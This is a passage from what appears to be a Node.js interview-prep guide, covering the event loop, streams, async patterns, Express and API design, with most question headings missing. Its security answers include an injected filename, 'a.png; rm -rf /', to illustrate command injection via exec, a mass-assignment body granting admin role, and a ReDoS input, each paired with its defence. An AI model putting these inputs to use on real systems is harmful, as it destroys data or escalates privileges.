Interviewers look for: measuring event loop lag rather than guessing, and knowing the fixes: async APIs, streaming, worker threads, or a queue.

So yes. Because Node drains the microtask queues completely before moving on, a chain of microtasks that keeps scheduling more microtasks will never let the loop reach timers or I/O. Each callback is tiny, but the loop never gets a turn.

function spin() {
  process.nextTick(spin);   // always another tick waiting
}
spin();
setTimeout(() => console.log("never runs"), 0);
http.createServer(...)       // never accepts a request

The same happens with a recursive promise chain, like an async function that awaits already-resolved values in a loop with no real I/O. It looks asynchronous, but it never yields.

Let me give you a realistic version I've seen. A queue consumer did while (true) { const job = await cache.get(); ... }, where the cache was in-memory and returned a resolved promise immediately. It pegged the CPU at 100% and health checks timed out, even though every await "looked" async.

The fix is to yield to the macrotask queue with setImmediate, which lets I/O and timers run between iterations:

import { setImmediate as yieldToLoop } from "node:timers/promises";

for (const item of hugeList) {
  process(item);
  if (++i % 1000 === 0) await yieldToLoop(); // let requests in
}

One more subtle thing worth knowing: in an ES module, top-level code runs as part of module evaluation, which itself is promise-driven. So at the top of an .mjs file, a promise callback can run before a nextTick, the opposite of CommonJS. It's a nice example of why I don't rely on tick-versus-promise ordering in real code.

Interviewers look for: understanding that "async" doesn't mean "yields to I/O", and setImmediate as the way to actually yield.

So ReDoS is regular expression denial of service. Some regexes, typically with nested quantifiers like (a+)+, have catastrophic backtracking: on certain inputs, the engine tries an exponential number of ways to match before giving up. It's especially dangerous in Node because regex matching is synchronous on the main thread, so one bad input freezes the whole server, not just one request.

const re = /^(\w+\s?)*$/;
const input = "a".repeat(30) + "!";
console.time("match");
re.test(input);          // can take seconds; each extra char roughly doubles it
console.timeEnd("match");

What happens here is the ! means it will never match, but before failing, the engine tries every way to split those thirty letters between the inner and outer groups. That grows exponentially with the length.

How I defend against it:

• Limit input length before running any regex on user input. This alone kills most of the risk.
• Avoid nested quantifiers and overlapping alternations; lint rules like eslint-plugin-regexp flag them.
• Use a vetted validator, like Zod's .email(), instead of a home-made email regex copied from a forum.
• For regexes that must take user-supplied patterns, use a linear-time engine like re2.

So in practice, whenever I see user input going into a regex, I treat it the same as user input going into SQL.

So callbacks came first, with Node's error-first convention, (err, data). They work, but nesting them gets messy fast, and error handling is easy to get wrong because you have to check err at every level. Promises turned the future result into an object you can pass around and chain, with one .catch for the whole chain. And async/await is syntax on top of promises that lets async code read like synchronous code, with normal try/catch.

Let me show the same flow three ways:

// callbacks
getUser(id, (err, user) => {
  if (err) return done(err);
  getOrders(user.id, (err, orders) => {
    if (err) return done(err);
    done(null, orders);
  });
});

// promises
getUser(id).then((user) => getOrders(user.id)).then(done).catch(done);

// async/await
try {
  const user = await getUser(id);
  const orders = await getOrders(user.id);
} catch (err) { /* one place */ }

The thing I'd point out is that async/await didn't replace promises. An async function always returns a promise, and await just pauses that function until a promise settles. So I still need the promise combinators like Promise.all for parallel work.

In modern Node, almost every core API has a promise version, like node:fs/promises, and util.promisify covers older callback APIs, so I basically only see callbacks in legacy code.

app.get("/dashboard", async (req, res) => {
  const user = await getUser(req.user.id);          // 150ms
  const orders = await getOrders(req.user.id);      // 150ms
  const notifications = await getNotifications(req.user.id); // 150ms
  const recs = await getRecommendations(req.user.id); // 150ms
  res.json({ user, orders, notifications, recs });
});

So yes. These four calls don't depend on each other, but each await waits for the previous one to finish before starting the next. I'd start them all at once and wait for them together:

const [user, orders, notifications, recs] = await Promise.all([
  getUser(req.user.id),
  getOrders(req.user.id),
  getNotifications(req.user.id),
  getRecommendations(req.user.id),
]);

Now the total is roughly the slowest one, about 150ms instead of 600.

A couple of things I'd think about before shipping it. First, if recommendations are optional, I don't want one flaky service failing the whole dashboard, so I'd use Promise.allSettled for that part, or catch its error and return an empty list. Second, parallel isn't free: four queries at once means four database connections per request, so under heavy load I watch the pool size.

And if a call really does depend on another, like needing the user's region to fetch recommendations, I keep that dependency sequential and parallelise everything else around it.

Interviewers look for: spotting independent awaits, and then the follow-ups: partial failure and connection pool pressure.

So they differ in when they settle and what counts as failure. The way I remember them is by the question each answers:

const results = await Promise.allSettled(users.map((u) => sendEmail(u)));
const failed = results.filter((r) => r.status === "rejected");
logger.warn({ failed: failed.length }, "some emails failed");

One gotcha with Promise.all: when it rejects, the other promises keep running. It doesn't cancel them. So if one of three writes fails, the other two may still complete, and I need to think about that, for example with a transaction.

Same with race for timeouts. The losing request isn't cancelled. For real timeouts on HTTP calls, I prefer AbortSignal.timeout(ms), because fetch actually aborts the request instead of just ignoring the result:

const res = await fetch(url, { signal: AbortSignal.timeout(2000) });
// throws a DOMException named "TimeoutError" after 2s

const results = [];
ids.forEach(async (id) => {
  const row = await db.find(id);
  results.push(row);
});
console.log(results); // []

So forEach doesn't know anything about promises. It calls the async callback for each item, each call returns a promise, and forEach throws those promises away and returns immediately. By the time console.log runs, none of the awaits have finished. I've confirmed this: the array fills in later, and the order depends on which query finishes first, not the order of ids.

There's a nastier problem too: if one db.find rejects, nobody is handling that promise, so it's an unhandled rejection, which crashes the process in modern Node.

The fix depends on whether I want sequential or parallel:

// sequential, in order, one at a time
for (const id of ids) {
  results.push(await db.find(id));
}

// parallel, results still in input order
const results = await Promise.all(ids.map((id) => db.find(id)));

I'd pick sequential when order matters for side effects or I need to go gently on an API. I'd pick Promise.all when they're independent and there aren't too many. And if there are thousands, I'd use a concurrency limit, because firing them all at once would exhaust the connection pool.

Interviewers look for: "forEach ignores the returned promise", plus the unhandled-rejection consequence, and choosing between for...of and Promise.all.

So since Node 15, the default mode is throw: an unhandled rejection is treated like an uncaught exception, and the process crashes. Before that, Node just printed a warning, which is how a lot of old code got away with floating promises.

Let me give you a typical way it happens:

app.post("/signup", async (req, res) => {
  const user = await createUser(req.body);
  sendWelcomeEmail(user);          // no await, no catch
  res.status(201).json(user);
});
// email provider is down → rejection → process exits

The signup worked, but the fire-and-forget email took down the whole server, along with every other in-flight request.

How I deal with it:

• Fix the source: either await it, or explicitly .catch() and log it if it really is fire-and-forget. Better still, put it on a job queue with retries.
• Lint for it with @typescript-eslint/no-floating-promises, which catches most of these at review time.
• Keep a global handler as a safety net that logs with context, then lets the process exit so the orchestrator restarts it cleanly.

process.on("unhandledRejection", (reason) => {
  logger.fatal({ err: reason }, "unhandled rejection");
  process.exit(1);
});

The reason I let it exit rather than swallow it is that after an unexpected error, the process could be in a weird state. A clean restart is safer than limping on.

So neither extreme works. A plain for...of with await is safe but takes forever, and Promise.all over 10,000 items fires everything at once, which gets me rate limited, exhausts sockets and memory, and probably gets the API key blocked. What I want is bounded concurrency: a fixed number in flight at any moment.

import pLimit from "p-limit";

const limit = pLimit(10);   // at most 10 requests in flight
const results = await Promise.allSettled(
  records.map((r) => limit(() => syncRecord(r)))
);
const failed = records.filter((_, i) => results[i].status === "rejected");

What happens here is all 10,000 tasks are queued, but p-limit only starts a new one when one of the ten finishes. I use allSettled so one bad record doesn't stop the batch, and then I can retry or report the failures.

A few more things I'd add for a real job:

• Retries with exponential backoff and jitter on 429 and 5xx, respecting the Retry-After header.
• Timeouts on each call with AbortSignal.timeout, so one hung request doesn't hold a slot forever.
• Checkpointing: record progress so if the job crashes at record 7,000, it resumes instead of starting over.

And honestly, at 10,000 records I'd usually run this as a background job, with BullMQ or similar, rather than inside an HTTP request. The request returns 202 with a job ID, and the worker can control the rate across all instances.

Interviewers look for: bounded concurrency rather than all-or-nothing, plus retries with backoff, and moving long work off the request path.

So a Buffer is a fixed-length chunk of raw bytes. It's how Node represents binary data: file contents, network packets, images. A string is text, a sequence of characters. The two only line up once you pick an encoding, usually UTF-8, and characters don't map one-to-one to bytes.

const b = Buffer.from("héllo");
console.log("héllo".length); // 5  characters
console.log(b.length);       // 6  bytes: "é" takes 2 in UTF-8
console.log(b);              // <Buffer 68 c3 a9 6c 6c 6f>

That difference has bitten me in real code. We set a Content-Length header using body.length on a string with non-English names, and the response got truncated, because the header counted characters, not bytes. Buffer.byteLength(body) is the correct one.

The other classic gotcha is decoding chunks one at a time. A multi-byte character can be split across two chunks, and if I call chunk.toString() on each, I get a garbled replacement character. Setting an encoding on the stream, or using StringDecoder, handles the split properly.

So in practice, I think in Buffers when dealing with I/O, files and crypto, and only convert to strings at the edge, with an explicit encoding.

So a stream processes data chunk by chunk as it arrives, instead of loading everything into memory first. If I use fs.readFile on a 2 GB file, I need 2 GB of memory, and on a small container that just crashes. Streaming it needs roughly one chunk's worth, 64 KB by default for file streams, no matter how big the file is.

There are four kinds:

// Serve a large file without loading it into memory
app.get("/download/:name", async (req, res) => {
  res.setHeader("Content-Type", "text/csv");
  await pipeline(fs.createReadStream(safePath(req.params.name)), res);
});

The other benefit besides memory is time to first byte. The user starts receiving data straight away instead of waiting for the server to read the whole file.

And I'd point out that I use streams all the time without thinking about it: in Express, req is a readable stream and res is a writable one.

So backpressure is the mechanism that stops a fast source from overwhelming a slow destination. When a writable stream's internal buffer is full, write() returns false, which means "stop sending until I emit drain". If the producer ignores that, the data piles up in memory.

Let me give you the buggy version I've seen in real code:

// Reading from fast disk, writing to a slow client on mobile
readable.on("data", (chunk) => {
  res.write(chunk);   // return value ignored
});
readable.on("end", () => res.end());

What happens here is the disk reads at hundreds of MB per second, but the client downloads at a few MB per second. Every chunk that can't be sent yet gets buffered in the process. With a few big downloads at once, memory climbs until the container is OOM-killed.

Doing it by hand, it looks like this:

readable.on("data", (chunk) => {
  if (!res.write(chunk)) {
    readable.pause();
    res.once("drain", () => readable.resume());
  }
});

But in practice, I never write that myself. pipeline() does exactly this for me, plus error handling and cleanup. So my rule is: if I see on("data") writing into another stream, it's a code smell, and I replace it with pipeline.

Interviewers look for: "write returns false", the drain event, and the real symptom: memory growth under slow consumers.

So both connect streams and handle backpressure, but .pipe() doesn't forward errors or clean up. If a stream in the middle of a .pipe() chain errors, the others aren't destroyed, the error isn't propagated, and you can end up with leaked file descriptors or a response that just hangs. pipeline() destroys every stream in the chain when any one fails, and gives you one place to handle the error.

// .pipe(): each stream needs its own error handler, and cleanup is manual
fs.createReadStream("big.csv")
  .pipe(zlib.createGzip())
  .pipe(res);                  // client disconnects → read stream keeps going

// pipeline(): one await, one catch, everything cleaned up
import { pipeline } from "node:stream/promises";
try {
  await pipeline(fs.createReadStream("big.csv"), zlib.createGzip(), res);
} catch (err) {
  logger.warn({ err }, "download aborted");
}

A really common case is the client closing the tab halfway through a download. With pipeline, res closes, so the gzip and file streams get destroyed too, and the error lands in my catch. With .pipe, the file stream would carry on reading.

So in practice I use pipeline from node:stream/promises everywhere. It also accepts async generators as transform steps, which is often simpler than writing a Transform class.

So the key is to never hold all million rows at once. I'd read from the database with a cursor or in batches, turn each row into a CSV line as it comes, and stream it straight into the response, with pipeline handling backpressure end to end.

import { pipeline } from "node:stream/promises";
import { Readable } from "node:stream";

app.get("/orders/export.csv", requireAuth, async (req, res) => {
  res.setHeader("Content-Type", "text/csv");
  res.setHeader("Content-Disposition", 'attachment; filename="orders.csv"');

  async function* rows() {
    yield "id,customer,total,created_at\n";
    let lastId = 0;
    while (true) {
      const batch = await db.query(
        "SELECT id, customer, total, created_at FROM orders WHERE id > $1 ORDER BY id LIMIT 5000",
        [lastId]);
      if (batch.rows.length === 0) return;
      for (const o of batch.rows) yield `${o.id},${csv(o.customer)},${o.total},${o.created_at.toISOString()}\n`;
      lastId = batch.rows.at(-1).id;
    }
  }

  await pipeline(Readable.from(rows()), res);
});

What happens here is the generator only fetches the next batch when the response is ready for more, so if the client is slow, we just stop querying. I use keyset pagination, WHERE id > lastId, instead of OFFSET, because OFFSET gets slower with every page.

Two details I'd call out: csv() escapes commas and quotes properly, and it should also neutralise values starting with =, which is CSV formula injection when someone opens it in Excel. And if exports take minutes, I'd move this to a background job that writes to S3 and emails a signed download link, so it doesn't hold a request open.

Interviewers look for: streaming end to end (DB to response), keyset pagination instead of OFFSET, and knowing when to switch to an async job.

So my first answer would be: don't send the bytes through Node at all if I can avoid it. I'd have the API hand out a presigned URL and let the browser upload directly to S3 or similar storage. My server only handles a small JSON request, and never sees the 5 GB.

// API: authorise and return an upload URL
app.post("/uploads", requireAuth, async (req, res) => {
  const key = `videos/${req.user.id}/${crypto.randomUUID()}.mp4`;
  const url = await getSignedUrl(s3, new PutObjectCommand({
    Bucket: BUCKET, Key: key, ContentType: "video/mp4",
  }), { expiresIn: 900 });
  res.json({ url, key });
});
// Then S3 fires an event → queue → worker transcodes it

For files that big, I'd actually use S3 multipart upload, so the browser uploads in parallel parts and can resume after a network drop. A single PUT is capped at 5 GB anyway.

If the upload must go through Node, say because we scan or encrypt it on the way, then I stream it and never buffer: something like busboy to parse multipart, piped straight into the S3 SDK's Upload helper, which does multipart for me.

The gotchas I'd mention:

• Enforce a size limit while streaming, not after, and abort as soon as it's exceeded.
• Don't use multer's memory storage, which buffers the whole file in RAM.
• Raise proxy and server timeouts for long uploads, or they get cut off at 60 seconds.
• Don't trust the client's content type; check magic bytes in the worker.

Interviewers look for: presigned URLs as the first answer, then true streaming with limits if the bytes must pass through the server.

So CommonJS is Node's original system, with require and module.exports, and it loads synchronously at runtime. ES Modules are the language standard, with import and export, and they're statically analysed before any code runs.

Let me give you an example of why that static part matters.

// CommonJS: require is just a function call, so this is legal
const driver = process.env.DB === "pg" ? require("pg") : require("mysql2");

// ESM: imports are hoisted and fixed at parse time
import { readFile } from "node:fs/promises";
const config = JSON.parse(await readFile("./config.json", "utf8")); // top-level await works

// Dynamic loading in ESM goes through import()
const { default: sharp } = await import("sharp");

Because ESM imports are known up front, bundlers can tree-shake unused exports, and you get top-level await. With CommonJS you get flexibility, but tooling can't know what you'll require until the code actually runs.

You opt into ESM with "type": "module" in package.json or the .mjs extension. One thing that's changed recently: current Node versions (22 and the later 20.x releases) can require() a synchronous ES module, which removes most of the old interop pain. ESM can always import CommonJS.

So in practice, for a new project in 2026 I start with ESM and TypeScript, and I only deal with CommonJS in older codebases or a few legacy packages.

Interviewers look for: "synchronous vs statically analysed", and one concrete consequence such as tree-shaking or top-level await.

So the caret means "any version compatible with 1.4.2", which under semver is anything from 1.4.2 up to, but not including, 2.0.0. Minor and patch updates are allowed, a major isn't, because a major is by definition breaking.

The problem is that the range lives in package.json, so two installs a week apart can resolve to different versions, and that includes every transitive dependency too. The lockfile records the exact version and integrity hash of the whole tree.

In my last project a dependency four levels deep shipped a "patch" that broke date parsing. Laptops were fine, but a fresh CI build picked it up. That's exactly what the lockfile prevents. So we commit it, and in CI and Docker we run npm ci, which installs strictly from the lockfile and fails if it's out of sync with package.json.

So in practice: ranges in package.json, lockfile committed, npm ci everywhere automated, and Dependabot or Renovate to bump things deliberately.

So Node caches a module after the first time it's loaded. The file's top-level code runs once, and every later require or import of the same resolved path gets the same exported object back.

// counter.js
let count = 0;
module.exports = { inc: () => ++count };

// main.js
const a = require("./counter");
const b = require("./counter");
a.inc(); a.inc();
console.log(b.inc(), a === b);   // 3 true

What happens here is that a and b are literally the same object, so they share count. That's why a db.js that creates a pool at the top level gives the whole app one shared pool without any singleton class.

One gotcha I've hit is that the cache key is the resolved file path. If two copies of a package end up in node_modules at different versions, you get two "singletons". It's the classic reason instanceof checks fail between libraries. Tests also need care, because module state leaks between test files unless the runner isolates modules.

Interviewers look for: knowing the cache is by resolved path, and that module-level state is shared across the whole process.

So first I confirm it's actually a leak and not just a big but stable heap. Then I compare heap snapshots over time to see which objects keep growing and what's holding on to them.

Here's the kind of leak I usually find:

const cache = new Map();                 // grows forever, never evicted
app.get("/user/:id", async (req, res) => {
  if (!cache.has(req.params.id)) cache.set(req.params.id, await loadUser(req.params.id));
  res.json(cache.get(req.params.id));
});

emitter.on("price", (p) => socket.send(p));   // added per connection, never removed

My process goes like this:

• Watch the metrics. If RSS and heap-used only go up and never drop back after GC, it's a leak. A sawtooth that levels off is normal.
• Reproduce it locally under load with node --inspect, take a heap snapshot, send a few thousand requests, then take another snapshot.
• In Chrome DevTools I use the comparison view, sort by delta, and follow the retainers to see who's keeping those objects alive.

Almost every time it's one of these: an unbounded Map used as a cache, event listeners that are never removed, a setInterval that's never cleared, or a closure holding a big object. The fix is an LRU with a max size or TTL, off or AbortSignal for listeners, or just moving the cache to Redis.

Interviewers look for: a method (snapshots, diff, retainers), not a guess. Also mention that --max-old-space-size only delays the crash.

So there are two different problems here. If I want more throughput, I run more processes. If a single task is CPU-heavy, I move it off the main thread into a worker thread.

The catch with multiple processes is that they share nothing. In one project we stored rate-limit counters in memory, and as soon as we scaled to four instances each one had its own count, so users effectively got four times the limit. The fix was moving that state to Redis. Same thing for sessions and WebSocket rooms.

These days on Kubernetes or ECS I usually don't use the cluster module at all. I run one Node process per container and let the orchestrator scale replicas, and I keep worker threads, usually through a pool like Piscina, for the genuinely CPU-bound bits.

So exec runs a command through a shell and buffers the whole output into memory before calling you back. spawn starts the program directly, with no shell by default, and gives you streams.

import { exec, spawn } from "node:child_process";

// Dangerous: user input goes through a shell
exec(`convert ${req.query.file} out.png`);
// file = "a.png; rm -rf /"  runs two commands

// Safer: no shell, arguments passed as an array
const p = spawn("convert", [req.query.file, "out.png"]);
p.stdout.pipe(process.stdout);
p.on("close", (code) => console.log("exit", code));

What happens with exec is that the shell interprets characters like ;, | and $(), so any user input in that string becomes command injection. With spawn and an argument array, the input is just one argument, not shell syntax. I'd still validate it, though, because a filename starting with - can be read as a flag.

The other difference is memory. exec has a maxBuffer, and a command with a lot of output will either blow past it and error, or sit in RAM. For ffmpeg or a large pg_dump I always use spawn and stream the output.

Interviewers look for: "shell plus string interpolation equals command injection," and buffered vs streamed output.

So a middleware is just a function (req, res, next) that sits in an ordered chain. Each request walks the chain, and every middleware either ends the request by sending a response or calls next() to pass it on.

const requestTimer = (req, res, next) => {
  const start = performance.now();
  res.on("finish", () => {
    console.log(`${req.method} ${req.originalUrl} ${res.statusCode} ${(performance.now() - start).toFixed(1)}ms`);
  });
  next();                         // forget this and the request hangs
};

app.use(requestTimer);
app.get("/health", (req, res) => res.json({ ok: true }));

What happens here is that the timer runs first, registers a listener for when the response finishes, and hands off. The route handler then sends the response, which triggers the log line.

There are really three outcomes for any middleware: respond, call next(), or call next(err) to jump to the error handler. If it does none of those, the client just waits until it times out. That's one of the most common Express bugs I've seen in code review.

Auth, logging, CORS, body parsing, rate limiting and validation are all middleware, and the whole framework is basically a router plus this chain.

So they're three different places the client can put data. params are named segments of the path, query is the query string, and body is the request payload.

// PATCH /api/v1/users/42/orders?status=paid
// body: { "note": "gift" }
router.patch("/users/:userId/orders", express.json(), (req, res) => {
  req.params;  // { userId: "42" }
  req.query;   // { status: "paid" }
  req.body;    // { note: "gift" }
});

Two gotchas I always mention. First, everything in params and query is a string, so "42" isn't 42, and I coerce it with Zod rather than trusting it. Second, req.body is undefined unless a body parser like express.json() ran first.

How I choose: params identify the resource, query filters, sorts or paginates it, and body carries the data I'm creating or changing. I'd never put secrets in the query string, because URLs end up in logs and browser history.

Interviewers look for: "they're all strings and all untrusted," plus the body-parser ordering point.

So nine times out of ten it's ordering, or the client isn't sending the content type the parser expects.

app.use("/api/users", userRoutes);   // registered first...
app.use(express.json());             // ...so this never runs for those routes

Express runs middleware in the order you register it. Here the router handles the request before the JSON parser ever sees it. The fix is to move express.json() above the routes.

If the order is fine, my checklist is:

• Is the client sending Content-Type: application/json? express.json() skips anything else, and a form post needs express.urlencoded().
• Is it multipart/form-data? Then neither parser handles it and I need multer or busboy.
• Is it a GET with a body? Many clients and proxies drop that entirely.
• Did the body go over the limit? That gives a 413, not undefined, but it gets confused with this.

In Express 5, req.body is undefined when nothing parsed it, instead of {} like in version 4, so code that did req.body.email without validation now throws. I actually think that's better: it fails loudly instead of silently.

So in Express 4, a rejected promise in a route handler isn't caught. You get an unhandled rejection and the request hangs. Express 5, which is now the default on npm, forwards rejected promises to next(err) automatically.

// Express 4: wrap every async handler
const asyncHandler = (fn) => (req, res, next) =>
  Promise.resolve(fn(req, res, next)).catch(next);

router.get("/:id", asyncHandler(async (req, res) => {
  const user = await userService.get(req.params.id);  // throws NotFound
  res.json({ data: user });
}));

// Express 5: this is enough
router.get("/:id", async (req, res) => {
  res.json({ data: await userService.get(req.params.id) });
});

// either way, one error handler at the end, with 4 args
app.use((err, req, res, next) => { /* format and log */ });

The four-argument signature is how Express recognises an error handler, so even if I don't use next, I have to declare it. And it has to be registered last.

One gotcha: errors thrown inside a callback, like a setTimeout or an old-style event, aren't in the promise chain, so neither approach catches them. That's another reason I promisify everything.

Interviewers look for: knowing the Express 4 vs 5 difference, and why the error handler needs exactly four parameters.

So app.js builds and exports the Express app without calling listen, and server.js is the only file that actually opens a port and handles startup and shutdown.

// app.js
export const app = express();
app.use(express.json());
app.use("/api/v1", routes);
app.use(errorHandler);

// server.js
import { app } from "./app.js";
const server = app.listen(process.env.PORT ?? 3000);
process.on("SIGTERM", () => server.close(() => pool.end()));

// users.test.js
import request from "supertest";
import { app } from "../src/app.js";
await request(app).get("/api/v1/users/1").expect(200);

The payoff is testing. Supertest can hit the app in memory without binding a real port, so tests run in parallel with no "address already in use" errors. It also keeps lifecycle concerns, like connecting to the database, graceful shutdown and signal handling, in one place instead of mixed into routing.

It's a small thing, but when I see it in a codebase I know somebody has actually written integration tests for it.

So I'd pick based on the team and where it runs, not the benchmarks, because for most APIs the database is the bottleneck, not the framework.

In my last team we had around fifteen engineers across several services, and the Express ones had each drifted into their own folder structure. We moved new services to NestJS mainly for consistency. Anyone could open any service and know where the controller, the service and the DTOs were. The cost was more boilerplate and decorators that are harder to debug.

For a small high-traffic internal service I'd lean Fastify, because JSON schema validation and fast serialization come built in. If it's running on Cloudflare Workers, Hono, because it's built on web-standard Request and Response.

Interviewers look for: reasoning about trade-offs (team size, runtime, ecosystem) rather than "X is fastest."

So I split by responsibility: the controller knows HTTP, the service knows the business rules, and the repository knows the database. Each layer only talks to the one below it.

// controller: HTTP in, HTTP out
export const cancelOrder = async (req, res) => {
  const order = await orderService.cancel(req.params.id, req.user.id);
  res.json({ data: order });
};

// service: rules, no req/res
export const cancel = async (orderId, userId) => {
  const order = await orderRepo.findById(orderId);
  if (!order || order.userId !== userId) throw new AppError("Not found", 404);
  if (order.status === "shipped") throw new AppError("Already shipped", 409);
  return orderRepo.update(orderId, { status: "cancelled" });
};

The reason this pays off is reuse. In my last project we later needed a nightly job that auto-cancelled unpaid orders. Because the rule "you can't cancel a shipped order" lived in the service, the job just called orderService.cancel. If it had been in the controller, we'd have copied it, and the copies would have drifted.

It also makes the service testable without an HTTP server, just by mocking the repository.

That said, I wouldn't add three layers to a three-endpoint side project. I add them once a file gets hard to read.

Interviewers look for: the "why" (reuse, testability, change isolation), and a sense of when it's overkill.

So config comes from environment variables, and I validate it once at startup so the app refuses to boot with bad config instead of failing on the first request.

// config/env.js
import { z } from "zod";

const Env = z.object({
  NODE_ENV: z.enum(["development", "test", "production"]),
  PORT: z.coerce.number().default(3000),
  DATABASE_URL: z.string().url(),
  JWT_SECRET: z.string().min(32),
});

export const env = Env.parse(process.env);   // crash early and loudly

The rest of the code imports env and never touches process.env directly, so there's one place that documents every variable the service needs, and they come out typed.

For secrets, locally I use a .env file that's in .gitignore, and Node now has --env-file built in so I don't even need dotenv. In production the secrets come from something like AWS Secrets Manager or Vault, injected into the environment by the platform. I never bake them into the Docker image and never commit them. If one does leak into git, I rotate it, because deleting the commit doesn't remove it from history or from anyone's clone.

So stateless means no request depends on anything held in the memory of a specific server instance. Any instance can handle any request, and I can kill or add instances freely.

Let me give you an example of what breaks when it isn't.

// Stateful: works with one instance, breaks with three
const sessions = {};
app.post("/login", (req, res) => { sessions[token] = user; ... });

// Uploads written to local disk
cb(null, "/app/uploads");   // gone on the next deploy

With a load balancer, the login lands on server 1 and the next request lands on server 2, which has never heard of that session. And local uploads disappear the moment the container is replaced, which on Kubernetes happens all the time.

So I push state out: sessions and counters to Redis, files to S3, everything durable to the database. The process itself is disposable.

That's the core of the twelve-factor idea. Once the app is stateless, horizontal scaling, rolling deploys and autoscaling all become boring, which is exactly what you want.

Interviewers look for: concrete examples of hidden state (in-memory sessions, local files, in-process caches) and where each should go.

So the idea is that a service receives its dependencies instead of importing and creating them itself. Then in a test I can pass in fakes.

// hard to test: hard-wired imports
import { db } from "../db.js";
import { stripe } from "../stripe.js";

// easy to test: dependencies passed in
export const makePaymentService = ({ orderRepo, payments, clock }) => ({
  async charge(orderId) {
    const order = await orderRepo.findById(orderId);
    if (order.expiresAt < clock.now()) throw new AppError("Order expired", 410);
    return payments.charge(order.total, order.customerId);
  },
});

// test
const svc = makePaymentService({
  orderRepo: { findById: async () => ({ total: 500, expiresAt: 0 }) },
  payments: { charge: vi.fn() },
  clock: { now: () => 1 },
});
await expect(svc.charge("o1")).rejects.toThrow("Order expired");

What I like about this is there's no module mocking magic. The test is explicit about what the service needs. Injecting the clock is a small trick that's saved me a lot of flaky time-based tests.

In plain Node I just use factory functions and wire everything up in one composition file. In NestJS the DI container does that wiring for me. I don't think you need a container in a small service, though.

So my default is a well-structured modular monolith, and I split out a service only when there's a concrete reason: a team boundary, very different scaling needs, or a different reliability or deployment requirement.

Let me give you a real scenario. In one project the monolith handled the API and also generated PDF invoices. PDF generation was CPU-heavy and spiked at month-end, which slowed down every API request. Pulling that one piece out into a worker service behind a queue was clearly worth it: it scaled on its own, and a crash there didn't take down checkout.

What I wouldn't do is split by noun on day one, like a users service, an orders service and a products service. Then a simple "place order" becomes three network calls, with distributed transactions, partial failures, versioned contracts, tracing across services, and local development needs six containers.

So the path I prefer is: modules inside one codebase with clear boundaries and no reaching into another module's tables. That way, if you do need to split later, the seam already exists.

Interviewers look for: a cost-aware answer. "Microservices solve organisational scaling problems and create distributed-systems ones."

So operational errors are things that are expected to go wrong in a correctly written program: bad input, a missing record, a declined card, a timed-out upstream. Programmer errors are bugs, like reading a property of undefined.

// operational: expected, handled, clean 4xx
if (!user) throw new AppError("User not found", 404);

// programmer: a bug, surfaces as a 500
const name = order.customer.name;   // customer is undefined
// TypeError: Cannot read properties of undefined (reading 'name')

The reason the distinction matters is that you handle them differently. For operational errors I return a helpful message and the right status code, and I don't page anybody. For programmer errors I log the full stack with the request ID, return a generic "Something went wrong" so I don't leak internals, and alert on it.

My AppError class carries an isOperational flag, so the central error handler can tell them apart: if the flag is set, it trusts the message, otherwise it hides it.

Interviewers look for: different handling for each kind, and never sending stack traces to clients in production.

So I validate at the boundary: every place data enters the system. That means the body, params, query, headers, webhook payloads, queue messages and even environment variables. Inside the boundary, the code can trust its inputs.

const CreateProduct = z.object({
  name: z.string().trim().min(1).max(120),
  priceCents: z.number().int().positive(),
  tags: z.array(z.string()).max(10).default([]),
}).strict();

type CreateProduct = z.infer<typeof CreateProduct>;   // TS type for free

router.post("/", validate(CreateProduct), controller.create);

Why a schema library like Zod instead of hand-written ifs: the rule is declared once, it's reusable, and it produces structured errors per field. With TypeScript, the schema is also the type, so they can't drift apart. You can also generate OpenAPI docs from the same schemas.

One thing I'm careful about is replacing req.body with the parsed output, not just checking it. That way the trimmed, coerced, defaulted version is what reaches the service.

And I still keep database constraints, like NOT NULL and unique indexes, as the last line of defence, because not every write comes through the API.

So mass assignment is when you pass the whole request body straight into a create or update, and the client sets fields you never meant them to control.

// vulnerable
app.patch("/me", auth, async (req, res) => {
  await User.update(req.user.id, req.body);
});
// attacker sends: { "name": "Sam", "role": "admin", "credits": 99999 }

What happens here is the ORM happily writes role and credits, because they're real columns. There's no bug in the code in the usual sense, it's just trusting too much.

The fix is to whitelist, not blacklist:

const UpdateMe = z.object({
  name: z.string().min(1).optional(),
  avatarUrl: z.string().url().optional(),
}).strict();   // unknown keys like "role" cause a 422

await User.update(req.user.id, UpdateMe.parse(req.body));

I prefer .strict(), which rejects unknown keys, over silently stripping them, because it tells the client they're sending something wrong. The same idea applies on the way out: I pick the fields to return so I never accidentally send back passwordHash.

Interviewers look for: "allowlist fields explicitly," and ideally the symmetric point about response serialization.

So for validation, both are defensible. I use 400 when the request is malformed, like broken JSON or the wrong content type, and 422 when it parsed fine but the values break the rules. What matters more is picking one and being consistent.

The 401 vs 403 one comes up a lot. 401 really means "I don't know who you are", so the client should log in or refresh the token. 403 means "I know who you are, and the answer is no", so retrying with the same credentials won't help.

One subtle thing: if a user asks for another tenant's invoice, I usually return 404 rather than 403, so I'm not confirming that the resource exists.

So for an uncaught exception, I log it and exit, because the process is now in an unknown state and continuing is worse than restarting. For SIGTERM, I do a graceful shutdown so in-flight requests aren't cut off.

let shuttingDown = false;

async function shutdown(code = 0) {
  if (shuttingDown) return;
  shuttingDown = true;
  setTimeout(() => process.exit(1), 10_000).unref();   // hard deadline
  server.close();            // stop accepting new connections
  await queue.close();       // let current jobs finish
  await pool.end();          // close DB connections
  process.exit(code);
}

process.on("SIGTERM", () => shutdown(0));
process.on("uncaughtException", (err) => { logger.fatal(err); process.exit(1); });
process.on("unhandledRejection", (err) => { logger.fatal(err); shutdown(1); });

Since Node 15, an unhandled rejection crashes the process by default anyway, so the handler is mainly there to log properly and close things cleanly.

The SIGTERM part matters on Kubernetes. On every deploy, pods get SIGTERM and then a grace period, 30 seconds by default, before being killed. Without this handler we saw a burst of 502s on each deploy. One more gotcha: in Docker, if Node isn't PID 1 or the start command is npm start, the signal may never reach your process. I run node server.js directly, or use tini.

Interviewers look for: "crash and let the supervisor restart" for unknown errors, and a graceful shutdown with a timeout.

So I model the resources as plural nouns and let the HTTP method be the verb. Comments belong to posts, so I nest them one level, and no deeper.

GET    /api/v1/posts?author=12&sort=-createdAt&limit=20
POST   /api/v1/posts
GET    /api/v1/posts/42
PATCH  /api/v1/posts/42
DELETE /api/v1/posts/42

GET    /api/v1/posts/42/comments
POST   /api/v1/posts/42/comments
DELETE /api/v1/comments/901          # comment has its own id, no need to nest

A few decisions here. POST returns 201 with the created post. PATCH for partial updates, and PUT only if the client really replaces the whole thing. DELETE returns 204.
